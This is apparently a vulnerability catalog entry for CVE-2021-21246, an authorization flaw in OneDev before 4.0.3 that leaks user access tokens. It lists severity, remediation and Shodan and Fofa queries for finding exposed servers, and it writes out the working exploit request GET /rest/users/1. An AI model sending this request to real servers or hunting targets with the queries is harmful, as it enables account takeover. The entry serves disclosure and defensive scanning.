| Title | OneDev < 4.0.3 - User Access Token Leak |
|---|---|
| Author | DhiyaneshDk |
| Severity | High |
| Impact | Attackers can access sensitive user data and tokens, leading to impersonation, data leaks, and potential full account compromise. |
| Remediation | Update to version 4.0.3 or later where user info is removed from the REST API. |
| CVSS Score | 8.6 |
| EPSS Score | 0.30711 |
| CVE ID | CVE-2021-21246 |
| CWE ID | CWE-862 |
| Shodan Query | title:"OneDev" |
| Fofa Query | title="OneDev" |
| Tags | cve cve2021 onedev auth-bypass token-leak |
OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions.
GET /rest/users/1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21246.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21246.pcap
N/AN/A